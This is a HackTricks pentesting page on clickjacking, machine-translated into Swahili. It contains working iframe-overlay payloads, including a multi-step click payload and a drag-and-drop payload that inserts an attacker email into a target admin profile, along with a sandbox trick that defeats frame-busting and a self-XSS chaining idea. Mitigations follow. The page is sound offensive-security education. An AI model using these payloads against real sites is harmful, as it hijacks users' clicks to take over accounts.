hacktricks/src/pentesting-web/clickjacking.md

8.3 KiB

Clickjacking

{{#include ../banners/hacktricks-training.md}}

What is Clickjacking

Katika shambulio la clickjacking, mtumiaji anachukuliwa kudanganywa ili kubofya kipengele kwenye ukurasa wa wavuti ambacho ni bila kuonekana au kimefichwa kama kipengele kingine. Manipulasi hii inaweza kusababisha matokeo yasiyokusudiwa kwa mtumiaji, kama vile kupakua malware, kuelekezwa kwenye kurasa za wavuti zenye uharibifu, kutoa akidi au taarifa nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.

Prepopulate forms trick

Wakati mwingine inawezekana kujaza thamani ya maeneo ya fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa. Mshambuliaji anaweza kutumia tabia hii kujaza fomu kwa data isiyo ya kawaida na kutuma payload ya clickjacking ili mtumiaji abofye kitufe cha Submit.

Populate form with Drag&Drop

Ikiwa unahitaji mtumiaji ajaze fomu lakini hutaki kumwambia moja kwa moja aandike taarifa maalum (kama barua pepe au nywila maalum unayojua), unaweza tu kumwambia Drag&Drop kitu ambacho kitaandika data yako iliyodhibitiwa kama katika mfano huu.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Malipo ya Hatua Nyingi

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Ikiwa umepata shambulio la XSS linalohitaji mtumiaji kubonyeza kwenye kipengele fulani ili kuanzisha XSS na ukurasa ni hawezi kuathiriwa na clickjacking, unaweza kutumia hii kumdanganya mtumiaji kubonyeza kitufe/kiungo.
Mfano:
&#xNAN;You umepata self XSS katika maelezo binafsi ya akaunti (maelezo ambayo ni wewe pekee unaweza kuweka na kusoma). Ukurasa wenye fomu ya kuweka maelezo haya ni hawezi kuathiriwa na Clickjacking na unaweza kuijaza fomu na vigezo vya GET.
__Mshambuliaji anaweza kuandaa shambulio la Clickjacking kwa ukurasa huo kuijaza fomu na XSS payload na kumdanganya mtumiaji ku Tuma fomu. Hivyo, wakati fomu inatumwa na thamani zimebadilishwa, mtumiaji atatekeleza XSS.

Mikakati ya Kupunguza Clickjacking

Ulinzi wa Upande wa Mteja

Scripts zinazotekelezwa upande wa mteja zinaweza kufanya hatua za kuzuia Clickjacking:

  • Kuhakikisha dirisha la programu ndilo dirisha kuu au la juu.
  • Kufanya fremu zote ziwe wazi.
  • Kuzuia bonyezo kwenye fremu zisizoonekana.
  • Kugundua na kuwajulisha watumiaji kuhusu majaribio ya Clickjacking yanayoweza kutokea.

Hata hivyo, hizi scripts za kuvunja fremu zinaweza kupuuziliwa mbali:

  • Mipangilio ya Usalama ya Kivinjari: Baadhi ya vivinjari vinaweza kuzuia hizi scripts kulingana na mipangilio yao ya usalama au ukosefu wa msaada wa JavaScript.
  • HTML5 iframe sandbox Attribute: Mshambuliaji anaweza kuondoa scripts za kuvunja fremu kwa kuweka sifa ya sandbox na thamani za allow-forms au allow-scripts bila allow-top-navigation. Hii inazuia iframe kuthibitisha ikiwa ni dirisha la juu, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms na allow-scripts values zinaruhusu vitendo ndani ya iframe wakati zinazuia urambazaji wa ngazi ya juu. Ili kuhakikisha utendaji unaokusudiwa wa tovuti inayolengwa, ruhusa za ziada kama allow-same-origin na allow-modals zinaweza kuwa muhimu, kulingana na aina ya shambulio. Meseji za console za kivinjari zinaweza kuongoza ni ruhusa zipi za kuruhusiwa.

Ulinzi wa Upande wa Server

X-Frame-Options

The X-Frame-Options HTTP response header inawajulisha kivinjari kuhusu uhalali wa kuonyesha ukurasa katika <frame> au <iframe>, kusaidia kuzuia Clickjacking:

  • X-Frame-Options: deny - Hakuna domain inaweza kuweka maudhui kwenye frame.
  • X-Frame-Options: sameorigin - Tovuti ya sasa tu inaweza kuweka maudhui kwenye frame.
  • X-Frame-Options: allow-from https://trusted.com - Ni 'uri' iliyotajwa tu inaweza kuweka ukurasa kwenye frame.
  • Kumbuka mipaka: ikiwa kivinjari hakikubali mwelekeo huu, huenda kisifanye kazi. Baadhi ya vivinjari vinapendelea mwelekeo wa CSP frame-ancestors.

Mwelekeo wa Sera ya Usalama wa Maudhui (CSP) frame-ancestors

frame-ancestors mwelekeo katika CSP ni njia inayopendekezwa kwa ulinzi wa Clickjacking:

  • frame-ancestors 'none' - Inafanana na X-Frame-Options: deny.
  • frame-ancestors 'self' - Inafanana na X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Inafanana na X-Frame-Options: allow-from.

Kwa mfano, CSP ifuatayo inaruhusu tu kuweka frame kutoka kwenye domain ile ile:

Content-Security-Policy: frame-ancestors 'self';

Maelezo zaidi na mifano ngumu yanaweza kupatikana katika frame-ancestors CSP documentation na Mozilla's CSP frame-ancestors documentation.

Sera ya Usalama wa Maudhui (CSP) na child-src na frame-src

Sera ya Usalama wa Maudhui (CSP) ni kipimo cha usalama kinachosaidia kuzuia Clickjacking na mashambulizi mengine ya kuingiza msimbo kwa kutaja vyanzo gani kivinjari kinapaswa kuruhusu kupakia maudhui.

frame-src Mwelekeo

  • Inaelezea vyanzo halali kwa frames.
  • Ni maalum zaidi kuliko mwelekeo wa default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Sera hii inaruhusu fremu kutoka chanzo sawa (mwenyewe) na https://trusted-website.com.

child-src Mwelekeo

  • Imeanzishwa katika kiwango cha CSP 2 kuweka vyanzo halali kwa wafanyakazi wa wavuti na fremu.
  • Inafanya kazi kama akiba kwa frame-src na worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Sera hii inaruhusu fremu na wafanyakazi kutoka chanzo kimoja (mwenyewe) na https://trusted-website.com.

Maelezo ya Matumizi:

  • Kuondolewa: child-src inatolewa polepole kwa ajili ya frame-src na worker-src.
  • Tabia ya Kurejelea: Ikiwa frame-src haipo, child-src inatumika kama kurejelea kwa fremu. Ikiwa zote hazipo, default-src inatumika.
  • Mwelekeo Mkali wa Chanzo: Jumuisha tu vyanzo vinavyotegemewa katika maagizo ili kuzuia unyakuzi.

Mifumo ya JavaScript ya Kuvunja Fremu

Ingawa si salama kabisa, mifumo ya kuvunja fremu inayotumia JavaScript inaweza kutumika kuzuia ukurasa wa wavuti usiweze kufanywa fremu. Mfano:

if (top !== self) {
top.location = self.location
}

Kutumia Tokeni za Anti-CSRF

  • Uthibitishaji wa Tokeni: Tumia tokeni za anti-CSRF katika programu za wavuti ili kuhakikisha kwamba maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na si kupitia ukurasa wa Clickjacked.

Marejeo

{{#include ../banners/hacktricks-training.md}}